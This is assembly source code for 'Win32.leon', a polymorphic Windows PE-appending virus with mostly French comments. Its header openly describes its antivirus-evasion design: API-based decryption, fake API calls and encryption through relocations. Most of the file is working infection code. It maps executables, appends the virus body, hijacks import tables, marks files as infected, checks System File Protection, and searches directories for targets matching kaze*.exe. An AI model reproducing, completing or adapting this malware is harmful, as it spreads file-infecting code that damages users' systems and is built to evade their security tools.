;FICHIER : main.asm ;NOM : Win32.leon ;DATE : 14/01/2007 ;VERSION : 1.0 ;AUTEUR : kaze ;SITE : http://fat.next-touch.com ; I'm happy to introduce to you win32.leon, a nearly original poly virus. This virus is ; mainly focused on AV-detection evading, so don't expect ultral33t spreading. The main ; technique of this is virus is "decryption via APIS", i.e the decryptor is (with a ; probability of 4/5) 100% api based. Some random fake api calls are also used in the ; decryptor: those apis are called with random arguments, but won't disturb the virus's ; excecution: they just return an error code (except when being debugged where they ; sometimes throw exceptions). Random api calls are also used in the virus body in order ; to avoid dynamic detection. ; A lot of little tricks are also used to fool emulators and scanners (like encryption ; through relocations, or decryptor fragementation) and are explained in the article ; stored at http://fat.next-touch.com/data/win32.leon.pdf (french only for now). ;===== WIN32.LEON ========================================================================= ; OS: Win2000 and WinXP. Successfully tested on both. Won't work on vista because ; of the fake apis thingie. ; TYPE: PE Appender. ; TARGETS: Kaze*.exe PE files, with .code > ~10k and ; vsize(lastsection) PE mappé en memoire ; out : none infecte_pe proc near pusha mov edx,[eax+3Ch] add edx,eax ;edx-->PE Header mov ebx,eax ;ebx=file mapping offset ;reinit quelques trucs xor eax,eax mov edi,[ebp+adresses_interdites] stosd mov [ebp+offset locations],dword ptr eax ;cherche la dernière section mov [edx+0B0h],eax ;marque d'infection lea esi,[edx+18h] movzx ecx, word ptr [edx+14h] ;SizeOfOptionalHeader add esi,ecx ;esi-->sections movzx ecx,word ptr [edx+06h] cherche_derniere_sec: cmp [esi+12],eax jb ch2 mov eax,[esi+12] mov edi,esi ch2: add esi,28h loop cherche_derniere_sec mov ecx,[edi+8] ;ecx=VSize cmp ecx,[edi+16] ja infecte_pe_fin ;si vsize>rawsize infecte pas call encryption_relocs_init ;les modifs d'usage mov ecx,[edx+28h] ;entry point (rva) add ecx,[ebp+imagebase] ;entry point(va) mov [ebp+ancien_ep],ecx ;edi-->header derniere section (en ram) add eax,[edi+8] ;ajoute VSize (eax etait = a RVA section) mov [ebp+infection_rva],eax add eax,[ebp+imagebase] mov [ebp+virus_start_va],eax mov esi,[edi+20] ;RawAddress add esi,[edi+8] ;VirtualSize add esi,ebx ;adresse du filemapping mov [ebp+infection_raw],esi mov eax,[ebp+taille_virus_alignee] add [edi+8],dword ptr VIRTUAL_SIZE_VIRUS add [edi+16],eax ;RawSize or [edi+36],SECTION_MASK ;remplit la table des adresse interdites call evite_adresses ;choisit un décrypteur parmis les deux dispos call poly_choisit_decrypteur xor eax,eax cmp [ebp+poly_name_dll],eax jz detourne_pas_iat ;modifie l'iat pour importer les apis du decrypteur + les fake apis mov eax,[edx+80h] ;RVA de l'IAT call rva2raw mov esi,eax add esi,ebx ;esi=raw imports mov ecx,[edx+84h] ;ecx=size imports mov edi,[ebp+infection_raw] ;edi=raw addresse du virus (pas encore le code à ce niveau là, mais l'iat) call imports_init ;détourne l'iat mov eax,[ebp+poly_name_dll] call add_iid_decrypteur ;ajoute le iid lea esi,[ebp+iat_crypto_decrypteur] call deal_imports ;importe les apis + les fake apis du dll detourne_pas_iat: ;cherche les fake apis (des autres dll) importées par l'hote lea esi,[ebp+liste_fake_apis] lea edi,[ebp+fake_apis] call find_fake_apis mov [ebp+nb_fake_apis],eax ;pseudo-poly le decrypteur (ajoute des fake apis calls) movzx eax,byte ptr [ebp+poly_nb_parties_decrypteur] mov edi,[ebp+mutated_pseudo_decrypteur] mov esi,[ebp+poly_decrypteur] call poly_pseudo_polymorphize ;poly_nb_parties_decrypteur modifié ;trouve X plages d'adresse de MAX_PARTIE_SIZE octets que l'on peut overwriter push ebx mov ebx,PARTIE_MAX_SIZE movzx ecx,byte ptr [ebp+poly_nb_parties_decrypteur] call trouve_adresses ;trouve poly_nb_parties_decrypteur endroits de PARTIE_MAX_SIZE octets chacuns pop ebx test eax,eax jz infecte_pas call sauvegarde_hote ;assemble et ecrit le decrypteur aux endroit maintenant sauvegardes mov esi,[ebp+mutated_pseudo_decrypteur] call poly_polymorphise ;encryption via les relocs call encryption_relocs ;ecrit le code du virus mov edi,[ebp+infection_raw] add edi,TAILLE_IMPORTS + DECRYPTOR_SIZE ; edi = raw adresse du code du virus push edi lea esi,[ebp+debut_virus] mov ecx,virus_len rep movsb pop edi ;encrypte le code du virus call [ebp+fonction_encryption] infecte_pas: add [edx+50h],dword ptr VIRTUAL_SIZE_VIRUS mov ecx,[ebp+calc_chksum] jecxz infecte_pe_fin ;si CheckSumpMappedFile non present ... lea esi,[ebp+checksum] push esi lea eax,[esi+4] push eax push dword ptr [ebp+WFD_nFileSizeLow] push ebx call ecx ;eax--> PE_Header mappé en RAM mov ecx,[esi] mov [eax+58h],ecx ;enregistre la nouvelle checksum infecte_pe_fin: popa ret infecte_pe endp ;RVA2RAW : in : eax=rva ,edx-->pe_header ; out : eax=raw adress rva2raw proc near push esi push ebx push ecx lea esi,[edx+18h] movzx ecx,word ptr [edx+14h] ;SizeOfOptionalHeader add esi,ecx ;esi-->sections movzx ecx,word ptr [edx+06h] cherche_sec2: mov ebx,[esi+12] cmp ebx,eax ja ch4 add ebx,[esi+8] cmp [esi+8],dword ptr 0 jnz vsize_ok add ebx,[esi+16] ;raw size vsize_ok: cmp ebx,eax ja found2 ch4: add esi,28h loop cherche_sec2 found2: mov ebx,[esi+12] sub eax,ebx add eax,[esi+20] pop ecx pop ebx pop esi ret rva2raw endp ;SECTION_INFO : in : eax=rva ,edx-->pe_header ; out : eax--> section header section_info proc near push esi push ecx push ebx lea esi,[edx+18h] movzx ecx, word ptr [edx+14h] ;SizeOfOptionalHeader add esi,ecx ;esi-->sections movzx ecx,word ptr [edx+06h] cherche_sec: or [esi+36],SECTION_MASK mov ebx,[esi+12] cmp ebx,eax ja ch3 add ebx,[esi+8] cmp [esi+8],dword ptr 0 jnz vsize_ok2 add ebx,[esi+16] ; raw size vsize_ok2: cmp ebx,eax ja found ch3: add esi,28h loop cherche_sec found: mov eax,esi pop ebx pop ecx pop esi ret section_info endp ;CHECK_INFECTION : check si l'hote a déjà été visité ; in : edx--> PE header ; out : ecx!=0 si deja infecté check_and_set_infection proc near mov ecx,[edx+8] ;timestamp cmp ch,SIGNATURE_VIRUS jz deja_infecte mov ch,SIGNATURE_VIRUS mov [edx+8],ecx xor ecx,ecx deja_infecte: ret check_and_set_infection endp ;IS_SFC : check si sfc protected ;in : ebx->filename ;out: ecx!= si sfc protected is_sfc proc near push eax edx esi edi xor ecx,ecx push ecx lea eax,[ebp+Buffer] push eax push dword ptr 260 push ebx call_ GetFullPathName push dword ptr 260*2 lea eax,[ebp+Buffer2] push eax xor eax,eax dec eax push eax lea eax,[ebp+Buffer] push eax xor eax,eax push eax push eax call_ MultiByteToWideChar lea eax,[ebp+Buffer2] push eax xor eax,eax push eax call [ebp+sfc_protected] mov ecx,eax pop edi esi edx eax ret is_sfc endp ;INFECTION : in : ebx--> Filename, WFD rempli avec un .exe ; out : none infection proc near pusha push 80h ;ATTRIB_NORMAL push ebx call_ SetFileAttributes ;teste si SFC cmp [ebp+sfc_protected],dword ptr 0 jz pas_sfc_api call is_sfc test ecx,ecx jnz pasbon pas_sfc_api: xor eax,eax push eax push eax push 3 push eax inc eax push eax push 0C0000000h push ebx call_ CreateFile inc eax jz peuxpas dec eax mov [ebp+Fhandle],eax mov edi,[ebp+WFD_nFileSizeLow] call create_mapped_file test eax,eax jz mappas mov [ebp+Mhandle],eax call map_file ; eax=map_offset test eax,eax jz veuxpas mov esi,[eax+3Ch] cmp esi,edi jae pasbon ;si pas PE, evite les violation de pages add esi,eax cmp dword ptr [esi],'EP' jnz pasbon cmp dword ptr [esi+84h],TAILLE_IMPORTS/2+NB_DLLS_IMPORTEES*14h jae pasbon mov edx,esi call check_and_set_infection test ecx,ecx jnz pasbon mov ecx,[esi+34h] mov [ebp+imagebase],ecx mov esi,[esi+3Ch] ;File Alignement push eax call_ UMVOFile push [ebp+Mhandle] call_ CloseHandle xor edx,edx mov eax,virus_len+TAILLE_IMPORTS+DECRYPTOR_SIZE ;edi=fichier+virus div esi inc eax mul esi mov [ebp+taille_virus_alignee],eax add edi,eax call create_mapped_file mov [ebp+Mhandle],eax call map_file ; eax=map_offset call infecte_pe pasbon: push eax call_ UMVOFile veuxpas:push [ebp+Mhandle] call_ CloseHandle mappas: push [ebp+Fhandle] call_ CloseHandle peuxpas:push dword ptr [ebp+WFD_dwFileAttributes] push ebx call_ SetFileAttributes popa ret infection endp ;FIND_APIS: in: esi--> ckecksums(terminé par -1) edi--> apis[] edx=HMODULE* ; out: edi[] rempli find_apis proc near mov ebx,[edx+3ch] add ebx,edx ; ebx--> PE Header mov ecx,[ebx+78h] add ecx,edx ; ecx--> export table mov eax,[ecx+01ch] ; sauve les adresses des tables add eax,edx lea ebx,[ebp+lst_fnc] ; liste des adresses de fonctions mov [ebx],eax add ebx,4 mov eax,[ecx+24h] ; liste des ordinals add eax,edx mov [ebx],eax mov ebx,[ecx+20h] ; ebx-->liste des noms xor ecx,ecx add ebx,edx fa1: mov eax,[ebx+ecx*4] add eax,edx call calc_crc cmp eax,[esi] ; est-ce la fonction recherchée ? jz fa2 inc ecx jmp fa1 fa2: push esi mov esi,[ebp+lst_ord] ; choppe l'ordinal (marche en //) movzx eax,word ptr [esi+ecx*2] mov esi,[ebp+lst_fnc] ; et on s'en sert pour chopper l'adresse de l'api mov eax,[esi+eax*4] add eax,edx ; (RVA) stosd ; on la stock pop esi inc ecx add esi,4 ; api suivante inc dword ptr [esi] ; esi==0xFFFFFFF ? jz fa3 dec dword ptr[esi] jmp fa1 fa3: dec dword ptr[esi] ret find_apis endp ;CALC_CRC: in: eax--> apiname ; out: eax=crc calc_crc proc near push ecx push esi mov esi,eax xor eax,eax sub ecx,ecx cc1: lodsb test al,al jz cc2 add cl,al rol eax,cl add ecx,eax jmp cc1 cc2: mov eax,ecx pop esi pop ecx ret calc_crc endp ;INFECT_REP in : none ; out : none infect_rep proc near pusha lea esi,[ebp+WFD] lea eax,[ebp+mask] ;.exe test ebp,ebp jnz pas_premiere_gen lea eax,[ebp+mask_pg] ;kaze*.exe pas_premiere_gen: push esi push eax call_ FindFirstFile inc eax jz badrep dec eax mov [ebp+Shandle],eax unautreverre?: lea ebx,[ebp+WFD_szFileName] mov ecx,[ebp+sfc_protected] jecxz bypass_sfc ; TODO : sfc check bypass_sfc: call infection pas_touche: lea eax,[ebp+WFD] push eax push [ebp+Shandle] call_ FindNextFile test eax,eax ;dernier fichier ? jnz unautreverre? push [ebp+Shandle] call_ FindClose badrep: popa ret infect_rep endp ;MAP_FILE : in: edi=taille ; out: none map_file proc near xor eax,eax push edi push eax push eax push 00000002h push [ebp+Mhandle] call_ MVOFile ret map_file endp ;CREATE_MAPPED_FILE : in : edi=taille ; out : none create_mapped_file proc near xor eax,eax push eax push edi push eax push 00000004h push eax push [ebp+Fhandle] call_ CreateFileMapping ret create_mapped_file endp make_thread proc near ;esi--> debut de la thread pusha xor edx,edx lea eax,[ebp+vtmp1] push eax push edx lea eax,[ebp+vtmp2] push eax push esi push edx push edx call [ebp+CreateThread] popa ret make_thread endp fin_dyn_fake_apis: ;======================================= DATA ================================= a_allouer: dd DECRYPTOR_SIZE dd MUTATED_DECRYPTOR_SIZE dd MAX_ENDROITS_INTERDIT*2*4 dd XOR_LOOP_SIZE nb_a_allouer equ ($-offset a_allouer)/4 a_sauvegarder: ancien_ep dd offset first_gen imagebase dd FIRST_GEN_IMAGE_BASE a32_oft dd 0 a32_ft dd 0 locations dd MAX_NB_PARTIES*2+1 dup (0) infection_rva dd 0 poly_nb_parties_decrypteur db 0 fake_apis dd 2*NB_FAKE_APIS dup (?) nb_fake_apis dd ? taille_sauvegarde equ $ - a_sauvegarder RAND_SEED dd 45980131 signature db "win32.leon by kaze",0 disque db "B:\",0 dmask db "*",0 dotdot db "..",0 mask db "kaze*.exe",0 mask_pg db "kaze*.exe",0 name_user32 db 'user32.dll',0 name_imagehlp db 'imagehlp.dll',0 imagehlp_api db 'CheckSumMappedFile',0 name_sfc db 'sfc.dll',0 sfc_api db 'SfcIsFileProtected',0 name_a32 db 'ADVAPI32.DLL',0 msg db 'Infecté',0 nb_fake_pushs dd 0 ; pour reequilibrer la pile cle_anti_call db 35h liste_apis_k32: dd 0FDBE9DDFh ; CloseHandle dd 04B00FBA1h ; CreateFileA dd 00D6EA22Eh ; CreateFileMappingA dd 0BE307C51h ; CreateThread dd 04E5DE044h ; ExitThread dd 0BE7B8631h ; FindClose dd 0C915738Fh ; FindFirstFileA dd 08851F43Dh ; FindNextFileA dd 028F8C6FBh ; GetCurrentDirectoryA dd 09C3A5210h ; GetDriveTypeA dd 06B1C08DAh ; GetFullPathNameA dd 040BF2F84h ; GetProcAddress dd 08FAF830Bh ; GetTickCount dd 05D0915E3h ; GetWindowsDirectoryA dd 095765835h ; LoadLibraryA dd 01064BF83h ; LocalAlloc dd 032BEDDC3h ; MapViewOfFile dd 09588EE13h ; MultiByteToWideChar dd 08E0E5487h ; SetCurrentDirectoryA dd 050665047h ; SetFileAttributesA dd 03A00E23Bh ; Sleep dd 0FAE00D65h ; UnmapViewOfFile dd 0065F101Ah ; VirtualProtect dd 0FFFFFFFFh liste_apis_u32: dd 0C0059B5Fh ; MessageBoxA dd 0FFFFFFFFh liste_apis_a32: dd 0B4060931h ; CryptAcquireContextA dd 08320BDFEh ; CryptCreateHash dd 01437CBF2h ; CryptDecrypt dd 09BB3B145h ; CryptDeriveKey dd 0A6889767h ; CryptEncrypt dd 0C66A7A58h ; CryptHashData dd 0FFFFFFFFh code_to_crypt_len equ ($ - debut_virus) memoire: dd NB_CASES_MEMOIRE dup (0) virus_len equ ($ - debut_virus) ;======================================= BSS ================================== align dword ; KERNEL32.DLL apis_k32: CloseHandle dd ? CreateFile dd ? CreateFileMapping dd ? CreateThread dd ? ExitThread dd ? FindClose dd ? FindFirstFile dd ? FindNextFile dd ? GetCurrentDirectory dd ? GetDriveType dd ? GetFullPathName dd ? GetProcAddress dd ? GetTickCount dd ? GetWindowsDirectory dd ? LoadLibrary dd ? LocalAlloc dd ? MVOFile dd ? MultiByteToWideChar dd ? SetCurrentDirectory dd ? SetFileAttributes dd ? Sleep dd ? UMVOFile dd ? VProtect dd ? ; USER32.DLL apis_u32: MessageBox dd ? ; ADVAPI32.DLL apis_a32: CAcquireContextA dd ? CCreateHash dd ? CDecrypt dd ? CDeriveKey dd ? CEncrypt dd ? CHashData dd ? ;DIVERS lst_fnc dd ? lst_ord dd ? lst_noms dd ? Fhandle dd ? Mhandle dd ? Shandle dd ? WFD label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime dd ? dd ? WFD_ftLastAccessTime dd ? dd ? WFD_ftLastWriteTime dd ? dd ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260 dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) SavedDirectory db 260 dup (?) Buffer db 260 dup (?) Buffer2 db 260*2 dup (?) infection_raw dd ? virus_start_va dd ? iat_noms_apis_rva dd ? iat_noms_apis_raw dd ? taille_virus_alignee dd ? sfc_protected dd ? calc_chksum dd ? checksum dd ? old_checksum dd ? fonction_encryption dd ? poly_decrypteur dd ? poly_name_dll dd ? poly_liste_apis_compat dd ? poly_nb_apis_compat dd ? poly_buffer db 256 dup (?) simple_cle dd ? vtmp1 dd ? vtmp2 dd ? vtmp3 dd ? vtmp4 dd ? index_iat dd MAX_APIS_IMPORTEES dup (?) relocated_imagebase dd ? is_relocated db 0 ;=================== VARIABLES SAUVEGARDEES ================= sauvegarde: sauve_ancien_ep dd ? sauve_imagebase dd ? s_a32_oft dd ? s_a32_ft dd ? sauve_locations dd MAX_NB_PARTIES*2+1 dup (?) sauve_infection_rva dd ? sauve_nb_parties db ? ; FAKE APIS sauve_fake_apis dd 2*NB_FAKE_APIS dup (?) sauve_nb_fake_apis dd ? ; FUSION IMORTS ;=================== VARIABLES ALLOUEES ================= variables_allouees: decrypteur dd ? mutated_pseudo_decrypteur dd ? adresses_interdites dd ? xor_loop_location dd ? heap_len equ ($ - debut_virus) - virus_len ;================= PREMIERE GENERATION ================== first_gen: mov eax,virus_len call printdec call ExitProcess,0 printdec proc near ;c vite-fait ... pusha cld lea edi,buf mov ebx,10 xor ecx,ecx GUI_printdec_1: xor edx,edx div ebx push edx inc ecx test eax,eax jnz GUI_printdec_1 GUI_prindec_2: pop eax add eax,48 stosb loop GUI_prindec_2 xor eax,eax stosb push eax push offset Signature push offset buf push eax call MessageBoxA popa ret printdec endp buf db 20 dup (?) end start